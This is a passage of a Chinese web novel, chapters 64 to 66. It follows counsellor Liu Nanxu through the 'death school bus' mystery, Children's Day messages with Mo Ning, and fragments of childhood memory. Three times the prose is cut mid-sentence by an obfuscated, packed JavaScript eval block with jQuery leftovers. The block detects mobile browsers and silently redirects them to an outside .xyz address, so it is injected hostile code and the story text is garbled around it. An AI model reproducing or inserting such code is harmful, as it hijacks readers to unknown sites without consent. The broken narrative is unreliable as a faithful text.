刘景平时除了会参加各种大会、活动,偶尔也会被各种圈子里面的朋友叫上组局玩,所以养出了随身携带名片的好习惯。
“当然可以。”刘景从西装内里的口袋取出一张名片递给孙则鸣。
孙则鸣双手捏着名片看了又看,脸上的笑容渐渐消散,不过又像是顾忌什么似的,很快强撑起一抹笑意,问:“刘先生,你和我父亲是因为谈生意认识的吗?”
刘景没有直接说明,反问:“你指的谈生意是?”
“回收废铁的生意。”孙则鸣脸上的笑意消失了,“所以,你们认识的原因,是心理咨询?我父亲他在找你做心理咨询吗?”
从事这个行业多年,刘景遇到过不少对这类行业带有歧视或者戒备的人,有的时候,他甚至完全理解他们抱有的顾虑。
虽然不知道孙则鸣内心的真实看法,但刘景还是很认真地回答了他的问题。
“你的父亲确实是在我的工作室做心理咨询。”
孙则鸣的脸色当即变得比赶来医院的时候还要不好,刘景没再说什么,只是希望孙万谦尽快赶到。
过了好几分钟,孙则鸣再次开口说话,声音很轻,带着满满的颓丧。
“是不是因为我妹妹?”
孙则鸣心里清楚,这个问题触碰到了来访者和咨询师签订的保密协议,但他还是想问。
因为这句话,刘景总算是记起来在哪里见过孙则鸣——孙万谦的手机锁屏壁纸。
时间隔得太久,再加上当时没怎么细看,真的差点给忘了。
更何况孙则鸣淋了雨,头发软趴趴地遮挡住额头,再加上外貌上的变化,以至于刘景实在没能记起“熟悉感”到底是怎么来的。
不过为什么说孙万谦做心理咨询是因为妹妹?
刘景看了一眼孙则鸣的脸色,觉得他缓过来劲儿了,才试探性地问:“为什么这样说?”
孙则鸣也听出话里的意思,只问:“我父亲不是在你那儿做的心理咨询吗?”
言外之意就是,你会不知道?
没能套出话,刘景也不强求,解释道:“孙先生确实是在我的工作室做的咨询,不过并不是我负责的。”
“哦!”孙则鸣露出一个恍然大悟的表情,随后回答刘景前面的问题,“没什么。”
不管是真的没什么,还是假的没什么,都说明孙则鸣并不想再聊这个话题。
刘景只跟着说了一句:“那就好。”便不再说话。
医院里面消毒水的味道浓重,刺激得孙则鸣时不时抬手揉揉鼻子。
孙万谦赶来的速度并不慢,急匆匆地赶到,直奔向孙则鸣面前进行嘘寒问暖,心疼劲儿让想要提醒他保持安静的小护士都没办法插话,不知道的还以为出什么大事了。
久别重逢的场面固然再感人,也要注意所在的场合以及分寸。
无人说话,还是刘景出的面。
“孙先生,这里是医院,麻烦保持安静。”
孙万谦这才注意到站在一旁的刘景,松开儿子孙则鸣的手,一把握住刘景的手,用力上下摇了摇,流着眼泪道谢。
“刘老师,今天实在太感谢你了,我就这么一个儿子,一把年纪可不想再经历一次白发人送黑发人了。”
刘景听出话里面的重要信息,但没有提及,说:“小事小事,顺手帮个忙而已,只是家里没人吗?怎么则鸣发烧也没人知道?”
孙万谦张口就说:“错了错了。”
刘景露出疑惑的表情,正准备询问“哪里错了”,孙万谦就自己解释了。
“则鸣出国留学后我和老婆搬了家,在小区里买了一套房,原本的老房子前段时间租出去了,一直以为和他说过了,留学期间他也没回来过,我们两口子没想起来这事。”
孙万谦说完搬家的事又开始数落孙则鸣,道:“你这孩子也是,这么多年都不说回来看看,好不容易回来也不知道提前说一声,生病进了医院才知道打电话,你不挂念我,不挂念你妈,你妹妹呢?你也不说回来看看她,你对得起她吗?”
孙万谦的一通话让孙则鸣产生想要解释的欲望,但由于要说的话太多,在嗓子眼堵了十几秒才有话出来。
更有意思的是,出来的话是:“爸,这里是医院,你太吵了,安静一点。”
千想万想没想到儿子会这样说,震惊导致孙万谦瞪大了双眼,望着儿子也看了足足十几秒,最后像泄完气的气球,憋出一个字。
“哦。”
见没自己的事,刘景想要悄无声息地溜走,不打扰他们久别重逢的父子团聚,结果刚露头的小动作被孙万谦一眼看破,说什么也不让走,非要请吃饭当谢礼。
刘景本来还想着让孙则鸣帮自己说句话,可要不说人家俩是父子呢!一人拽一条胳膊,摆足不肯放人的架势。
孙则鸣的点滴还没打完,为避免拉扯之间跑针,让他白白再挨一下扎针,刘景放弃反抗,只提出去打个电话。
孙万谦点点头,说:“这么晚了,确实要给家里人报个平安,刘老师你去,打了电话可千万别走,不然我这心里说什么也过意不去。”
“好。”
刘景笑着应了一下,走出病房笑容瞬间垮掉,直走到热水房旁边的角落才拨通柳南絮的电话。
提醒完挂断电话,回去等孙则鸣输完点滴去吃饭,后面也没什么事发生。
有了路灵灵这个僵持着的前例,柳南絮十分不希望自己的来访者再和“死亡校车”牵扯上关系,不管是逃避也好,还是抗拒也罢,总之他目前并没有看孙万谦的手机锁屏壁纸。
所以,在听完整件事情的来龙去脉后,柳南絮的状态非常心不在焉,吃了好几口饭才垂着眉眼说:“原来是这样。”
即
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335622|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便算是插手了柳南絮和莫宁的事,刘景也丝毫没有询问的意思,讲完直接拿起盒饭接着吃。
等到两人面对面沉默地吃完饭,柳南絮才问:“学长,你真的不觉得‘死亡校车’很荒唐吗?”
刘景擦了擦嘴,把纸巾丢进垃圾桶内,带着笑问:“需要我再说一遍吗?”
柳南絮抬头看向刘景,没说“需要”,也没说“不需要”。
于是刘景便说了,很认真、严肃地给柳南絮打气。
“我相信你,不管是你正在经历离奇又痛苦的事,还是你解决问题的能力,我都相信你。”
刘景所传递过来的信任过于纯粹,以至于柳南絮不敢接受他之前给出的“因为我感觉到自己在遗忘着什么”那个理由。
平心而论,调换身份,如果换做是他,有一个人突然说正在经历这种事,他大概率是不会相信的。
所以他只能将那个问题再次丢出,带着迷茫,问道:“为什么?”
“有时候,信任是不需要理由的,就像人与人之间的缘分,来就是来了,走就是走了,相信就是相信。”
刘景的眼神还是那样的温和,像是凌冬里面的暖阳,像是在悬崖尽头绽放的花。
柳南絮没再追问,默默坐了一会儿消化完站起身离开,那样子仿佛彻底被说服了。
办公室的门被关上的一刹那,刘景走到窗边推开窗户,任由阳光更加强烈地投照在身上。
认识柳南絮这么多年,就算谈不上特别了解,基本的了解还是有的。
他这个人,各方面都很优秀,让人挑不出错处,但在处理事情上有一个巨大的隐患,就是“容易多想”。
本来所从事的行业肯定会接收到各式各样的负面情绪,现在又有了“死亡校车”事件,影响到他在休息时间也需要留意线索,倾听一些痛苦的事。
种种情绪窝藏在柳南絮的身体里迟迟找不到出口,难免会让他感觉压力大,更加容易多想,甚至后面还会出现迷茫、不知道该怎么办的情况。
但是没办法,即便接下来的道路无比艰难凶险,都是要由他自己趟过去的。
而自己,不管是拿出“老板”的身份,还是“学长”的身份,都不能彻底帮助他解决问题,所能做的,只有给予信任,默默支持他,在他每一次化险为夷的时候送上祝福。
毕竟,阳光只要存在,即便再微不足道,也是希望。
下午不出刘景所料,他果真特别忙,柳南絮倒是没什么事,这也给他空出好好思考的时间。
以至于到达下班的时间,柳南絮已经完全想开。
如果孙万谦的女儿真的是“死亡校车”的受害者之一,那么早晚都要面对,尽早找机会和孙万谦说明白也是对来访者的一种保护。
如果不是,现在瞎想再多都是白费功夫。
踩点下班之前,柳南絮本来还想找刘景聊聊前天被耽搁的问题,敲了办公室的门迟迟没人应,便自己把门推开一半往里面瞅。
65. 第六十五章
见刘景正在电脑桌前埋头苦写,柳南絮当即清楚现在不方便打扰,把门关严下楼回家。
闭眼再睁眼,一天又过去了。
六月的开头,不但迎来了儿童节,还迎来了夏天。
李乐是整间心理咨询工作室内最关注节假日的人,每逢节日,不管大大小小,她都会把社交软件上的头像、网名,甚至连快递、外卖的收件人改成和节日有关的。
就好比前几天的端午节,李姑娘把头像换成了粽子,把网名改成了“肉粽”。
饮食文化的差异让赵安梦对着李乐发出一遍又一遍地灵魂拷问:“为什么是肉粽,你不吃甜粽吗?”
李乐则是反着问:“为什么是甜粽,不应该是肉粽吗?”
周二是柳南絮的休息日,所以他不知道工作室里的激烈状况,只是难为刘景,好不容易得个空下楼溜达一圈,还陷入了两人的僵局,充当完和事佬迅速开溜躲回办公室。
争辩到最后,李乐和赵安梦两人纷纷陷入怀疑,一个喃喃自语着“肉粽是什么味道的”提包下班,一个梳着头发自言自语问“甜粽会好吃吗”。
今天既然是儿童节,李乐不出所料又换了头像,网名改成了“赐福小朋友”,包括外卖上要填的姓名。
工作室的外卖一般都是李乐定的,然后其余人各自把钱转给她,今天也是。
不巧的是,外卖快送到的时候李乐突然肚子不舒服着急去卫生间,好在遇上难得下楼的柳南絮,便让他帮忙照看会儿前台。
柳南絮没什么事儿,点头答应。
外卖送来的时候李乐还没出来,赵安梦倒是闻到饭香捂着肚子找来了。
柳南絮在门口接下外卖小哥手里的外卖,往回走的过程扫了一眼外卖单子上的姓名,皱了皱眉,问:“赐福小朋友?”
赵安梦知道柳南絮不了解李乐的网名,开口说:“嗯,李乐的网名,她每次过节都会换网名。”
柳南絮第一次见换网名换这么彻底的,顺着往下问道:“连带外卖单子上的姓名?”
赵安梦摇摇头,解释道:“不单单是外卖单子上的姓名,包括快递也是,我第一次发现和你一样觉得新奇,特意问过她,李姑娘告诉我说这是生活的仪式感,漏过一个节日心里能不舒服好一阵。”
如果说李乐是心理咨询工作室内最关注节假日的那个,柳南絮就是最不关注节假日的那个。
柳老师下一句很自然地又问:“所以今天是什么节日?”
赵安梦在外卖袋子里取出四份饭,找出自己的那一份,回答:“都小朋友了,肯定是儿童节啊!”
柳南絮低声重复了一遍:“儿童节?”
赵安梦对“柳南絮不知道节日”这件事表示理解,毕竟她从来没有见柳南絮过任何一个节日。
自从她来这里工作,除去每周二这个刘景强制性塞给柳南絮的休息日外,只要心理咨询工作室处于开店状态,勤于工作的柳老师一定会在。
“对啊!今天六月一日,儿童节。”
赵安梦扯过一张凳子坐下,趴在前台的桌子上打开外卖,没注意柳南絮的表情,继续往下说:“你不过节不记得也很正常,要不是李姑娘今早给我发消息让我给她带早饭,我注意到了她的头像,也没记起来今个是儿童节。”
柳南絮不知道在想什么,拿上外卖,说:“好,谢谢,我知道了。”
赵安梦虽然不知道自己干了什么值得道谢的事,但还是往下接道:“没事,你上楼啊!”
柳南絮点点头,迈大了步子。
办公室的绿萝长势特别好,叶子开始有往下垂的趋势。
不过真到下垂的时候,如果不出意外,它们的主人肯定会手持剪刀找上去。
外卖确实如李乐说的那样,很香,但柳南絮丝毫没注意到它,进了办公室把它放在桌子上掏出手机,开始在上面不断地戳戳停停。
一句仅仅只有十个字的消息,他足足修改了五分钟才发出去。
“你知道今天是儿童节吗?”
莫宁的消息很快被送到,带着理所当然的意思。
“当然知道了。”
隔了几秒又发来一张图片。
柳南絮点开仔细看,图片上有两个果盘,一个里面装着各式各样的糖果,另一个里面装着面包和饼干,除此之外还有一箱奶。
他把图片退出去,看到莫宁新发来的两条消息。
“我老板给小朋友们准备的儿童节礼物。”
柳南絮自从收到消息,嘴角立刻就带上笑,人也不紧张了,发消息的用时骤然缩减。
“那你呢?过儿童节吗?”
话这样问在柳南絮本人看来暗示得已经足够明显,但落在莫宁眼里只是正常的询问,所以回答也是要多真实有多真实。
“我都成年了,再说了,儿童节又没有双倍工资,没什么好过的。”
柳南絮看着消息沉默许久,扶着额头无奈地笑了笑,回复道:“好。”
本来这件事到这儿也就过去了,偏巧在下班的时候,李乐看到柳南絮出现,立刻丢下睫毛膏,凑上去给人出主意。
“柳老师,今个儿童节,日子虽小,但仪式感不能丢,女孩子都是很重视节日的,你记得关心关心莫宁。”
柳南絮冷着脸心想:你还真是哪壶不开提哪壶。
但由于柳南絮平时经常是这个表情,李乐一时间也没察觉到面前人的情绪不对,她甚至还以为柳南絮这是在装镇定。
随后便听见柳南絮平淡的声音,提醒道:“你睫毛掉眼睛里面了。”
李乐没反应过来,下意识一边揉眼睛,一边询问:“哪里?哪里?”
随着揉眼睛的动作,睫毛上的睫毛膏很快花成星星点点的一小片,导致眼睛变得更加不舒服。
柳南絮没说话,好心给她指了一下镜子,然后趁着李乐照镜子的功夫迅速下班。
路上的声音落在耳朵里总是很嘈杂,柳南絮一贯喜欢安静的氛围,所以开车的话车窗一般都是紧闭状态。
但是现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347042|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在,他萌生出想要走进热闹的念头。
这种念头不是一时冲动升起的,更不是没有缘由的。
柳南絮了解自己,所以稍微细想一下就能知道念头的源头来自于——遇到莫宁的那天。
可又正恰恰是这个原因,导致这么久他从不敢细想。
正前上方的红绿灯恪尽职守地工作着,柳南絮看着路上的行人两两相望,随后在下一个瞬间消失在人海茫茫中,再也找不到。
他抓方向盘的手紧了紧,在心里承认:不想让莫宁消失在自己的生活里。
一时间,之前那些紧张的、气愤的、幼稚的……种种情绪都有了解释,莫名的、迁就的、妥协的……种种行为也落到了实处。
红灯“唰”地变成绿灯,车辆、行人通行。
柳南絮一脚油门踩下去,面色一如既往,就算心里再清楚不过,他也不会多说,更不会多做什么。
他确实不想让莫宁消失在自己的生活里,现在不想,以后也不想,但是,但是……
这段时间柳南絮一直都有种很强烈的预感:自己只有这样做,才是对她最好的保护。
他们之间,缘浅。
车窗被柳南絮打开条缝隙,缝隙窄到极为不易被人察觉。
仿佛他能做得仅仅是这些一样。
不得不说,科技的发展给人们的生活带来的便利肉眼可见、无法忽视。
很快,柳南絮抵达家属楼。
他停好车下去,双脚踏在水泥地上有了实感后却并不着急回家,而是站在原地微微抬头往上看。
目光被家属楼占满,这个他这么多年一成不变的目的地,不管他多晚回来,始终等在这里。
可惜的是,不论是外观构造还是所处位置,都让它极为不起眼,盯着看久了更会感觉它像是被岁月罩上一层去除不掉的沙土,从而让人越发小瞧它。
事实也确实如此。
这些年家家户户的生活质量在不断提高,家属楼里面的居民也在不断减少。
柳南絮还依稀记得,他在上大二的时候,某次临近放假回家过节,和许静、柳洪兵在吃饭的时候,不知道谁无意间提过买房子的事,他当时情绪“噌”地上头,表态不愿意。
许静和柳洪兵吓了一跳,差点没拿稳手里的东西。
柳洪兵用胳膊顺着许静的后背,责怪柳南絮道:“我们只是聊天聊到这里了,你不愿意就不愿意呗!好好说不就行了,这么激动干什么?你看把你妈吓的。”
表完态柳南絮当即恢复冷静,挠挠头发,也不是很理解自己究竟是怎么回事,对许静和柳洪兵道过歉就回房间了。
不过一家子哪会为了这点小事闹情绪,事情过去就翻篇了,之后也没人再提过,更没人再提过搬家、买房的事。
柳南絮当时不知道为什么,也没仔细想过。
自从陷入“死亡校车”的谜团后,有时午夜梦回,他蜷着身子,闭着眼睛,意识无比清醒地在心中猜测:家属楼一定和死亡校车有点关联。
66. 第六十六章
虽说是“猜测”,其实用“笃定”也不为过。
柳南絮解释不出原因,但一思考,这个答案就存在于脑海中了。
站得时间着实有些久,他回过神,把视线下移放平,远远的,看见一个小男孩背对着自己蹲在树底下。
那个背影,感觉有点熟悉。
家属楼里现在这个年龄段的小孩并不多,柳南絮知道的屈指可数,见过的就更少了,很快便想到吴老师的儿子徐乐健。
不过这事倒也是新奇,吴老师竟然让他自己在外面玩。
柳南絮走上前去。
为了提醒徐乐健有人靠近,避免被吓到,他有意把脚步声放重。
走到一定的距离,柳南絮停下,又慢慢在小男孩儿紧张、疑惑的眼神中蹲下。
“乐健,你好呀!”柳南絮如是打招呼说道。
徐乐健以蹲着的姿势往后挪了一点,把和柳南絮之间的距离拉得更开,最后才小心翼翼地回应道:“你好。”
“你应该是第一次见到我,我先做个自我介绍,我叫柳南絮,家住在三楼,那个窗子就是。”柳南絮找到自家的窗户,抬手指过去。
徐乐健没看柳南絮手指的方向,目光稳稳当当落在柳南絮的脸上,几乎是盯着他说:“我知道你,知道你家。”
其实他在柳南絮说“你应该是第一次见到我”的时候就想反驳他了,有种想说“不是第一次见,我们见过的,不止一次”的冲动。
可是,他看着陌生的大哥哥又一阵迷茫,明明就是初见,所以只好忍着冲动。
柳南絮确定在这之前没和徐乐健说过话,只是自己单方面地看过他。
那么,到底又是自己记忆有缺失的缘故,还是徐乐健也单方面看过自己?
柳南絮微笑着问:“你见过我吗?”
徐乐健依旧想点头,可小孩带着倔强,实事求是地摇摇头,说:“我妈妈经常和我提起你,所以我知道你的名字,知道你家。”
“原来是这样啊!”柳南絮装作很感兴趣的样子,追问,“你妈妈都会和你说我什么?”
徐乐健像是生怕柳南絮误会,摇头否认道:“你别害怕,不是坏话,是表扬你的。”
柳南絮笑着“嗯”了一下,示意小男孩接着往下说。
“每次我遇到搞不懂的题,或者做错了题,背不会书,我妈妈都会和我说这么简单,我家楼上,三楼那户叫柳南絮的大哥哥肯定会,还说他……”
徐乐健说到这里猛地停顿下,看向柳南絮思考了一下,仿佛是觉得人在面前用“他”这个字眼不合适,改了改才往下接着说。
“还说你学习成绩很好,不管是大考试还是小考试,次次都能拿到奖状,让我以你为榜样,考一个好大学,找一份好工作。”
“原来是这样啊!”柳南絮说这话的时候虽然是带笑的,但心里无比厌恶。
“被拿来给自家孩子当表率”这种事柳南絮从小经历到大,其实难过的不止是被比较的那个,他也不开心,甚至会有点生气。
小的时候,柳南絮因为这事被不少孩子视作眼中钉、肉中刺,不是被针对,就是被挑衅。
时间久了,柳南絮便生出一种把身上的锋芒通通藏起来的想法,他不想大家因为自己变得不开心,不想自己明明什么都没做就遭到大家的讨厌和冷落。
许静及时发现了柳南絮低落的心情,问了他原因,说:“所以你觉得只要你不聪明了,大家就都会开心了,是不是?”
柳南絮缓缓点点头,没说话,他还是委屈、不甘心。
“那你自己呢?”许静温柔地问,“这样做你会开心吗?”
这次柳南絮非常诚实地摇了摇头。
许静摸摸柳南絮的脑袋,说:“所以你看,你自己都不开心,怎么能是‘大家都开心’呢?”
柳南絮依旧不怎么开心,带着沮丧说:“可是,我不知道该怎么做,我不知道自己做错了什么,不明白自己明明什么都没做,为什么会被大家讨厌。”
许静露出一个很温暖的笑容,提问道:“你认为ta会讨厌你吗?”
事情已经过去了很久,久到记忆都快要模糊掉,但柳南絮每次想起当时的情况,总感觉许静当时说的不是“ta”这个字,而是说了一个名字。
但是柳南絮无论如何也想不起来是什么。
他只记得在许静问完之后,一道声音脆生生地响起。
是个女孩儿。
“柳南絮,我永远都不会讨厌你。”
“许阿姨,我不会。”
许静望向那道声音的来源处笑了笑,夸赞了对方几句,然后对柳南絮说:“你看,总会有人喜欢你的。”
柳南絮也想随着许静的动作望过去,但记忆中的他没有任何动作,就像是想法仅仅只停留在了“想”这个阶段,并没有进行下一步。
可他分明是想进行下一步的。
许静开导的声音还在继续,温柔、耐心、有力量。
“这个世界就是这样,不论你做了什么,哪怕什么也不做,始终都会影响到别人,喜欢你的人还会喜欢你,讨厌你的人还是会讨厌你,所以,根本没必要太过在意别人开心或是不开心,更何况你并没有做错什么。”
“南絮,你要明白,束手束脚永远都无法应对流言蜚语,茁壮成长的第一步是学会‘不在乎’。”
那天,许静的话震撼到了柳南絮的心灵,身为孩子的他第一次意识到文字和言语是如此富有力量。
不是剑,胜似剑。
许静做了一桌子饭菜,美味、可口、丰盛,两个孩子都很开心,只是一个全表现在脸上,一个全表现在心里。
此后,柳南絮再也没有产生过“用装傻的方式来获得别人的喜欢”的想法,在别的孩子看来他是“我行我素”这个词的代言人。
但柳南絮不在乎,他甚至不去回忆过往,只一心前进。
这段时间倒是会经常陷入回忆。
奇怪的是,柳南絮依旧不记得记忆中的另一个孩子是谁,对方从头到尾都没出现在自己的视线里。
徐乐健见柳南絮走神得厉害,大着胆子问:“柳哥哥,你,你怎么了?”
“什么?”柳南絮回过神,“我没事,抱歉,我走神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354036|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,你刚才说什么,可以再和我说一遍吗?”
徐乐健犹犹豫豫地开口,把刚才的话又说了一遍。
“柳哥哥,我有一个问题,但不想去问别人,只想问你,没见到你之前就想去找你问了。”
柳南絮很有耐心地说:“什么?你问。”
徐乐健在地上捡起一块石头,不停地在地上画圈,问道:“你是怎么让你的妈妈喜欢你的?我不知道怎么做才能让妈妈满意。”
“我爸爸告诉我说,我只要听话就可以了,可是我觉得自己已经很听话了,妈妈还是不满意,她常常说我不够优秀,比不上我姐姐。”
“我很苦恼,但又不想去问那些大人,他们的答案和我爸爸说的一模一样,我只想问你。”
这个问题意料之中。
自从柳南絮不在乎他人的目光之后,不仅轻松不少,时间久了,那些不喜欢他的人居然也开始不讨厌他了,有的甚至还会崇拜他,想要和他交朋友。
慢慢的,不止一个人找来询问和徐乐健一样的问题,有结伴成团的,也有独自前来的。
他们说话的语气、态度或羡慕、或疑惑、或崩溃,刻意挑事的也有,但很少。
一般情况下柳南絮只是静静地听着,这种事对他来说太简单了,但他并不知道该如何劝说别人,更不知道什么才算是合理且可行的建议。
慢慢的,他庆幸自己有一个良好的家庭环境,有一对开明、恩爱的父母。
除此之外,陪伴在自己身边的还有那个女孩儿,她就像承诺过的那样,从来没有讨厌过自己。
记忆如洪水猛兽般倾泻而来,只是……柳南絮依旧不知道那个女孩儿长什么样子,依旧不知道她是谁。
再后来呢?
柳南絮皱了皱眉,想了一下才想起来。
哦!对!
声音消失了,女孩儿再也没有出现过。
主动给出承诺的人先食了言。
而他也不过是照旧生活,仿佛对方的去留于他而言没有任何影响。
日子一天一天过着,又是无数个一天、一天……
好在,柳南絮不会去回忆。
突然,身后传来一道声音。
“柳南絮。”
“嗯?”柳南絮顺势以蹲着的姿势扭头往后看。
莫宁头上戴着头盔,骑着电动车出现,还得意洋洋地说:“你看,我来找你了。”
柳南絮差点恍惚,好在只有一瞬。
反应过来笑了,站起身问:“还是来蹭饭的?”
“切!”莫宁伸手往前够,结果根本够不着。
柳南絮差点没笑出声。
莫宁凶巴巴地说:“有什么好笑的?你自己拿,车筐里是我给你带的东西。”
柳南絮有些意外,眼神仿佛在说:你会给我带东西?
莫宁翻了个大白眼,说:“没骗你,快点拿,你拿上我就要回家了,赶时间。”
“哟!这么着急啊!”柳南絮说着伸手去拿车筐里面的纸袋子。
打开一看,里面竟然是一把糖果,一盒奶,几包饼干和面包。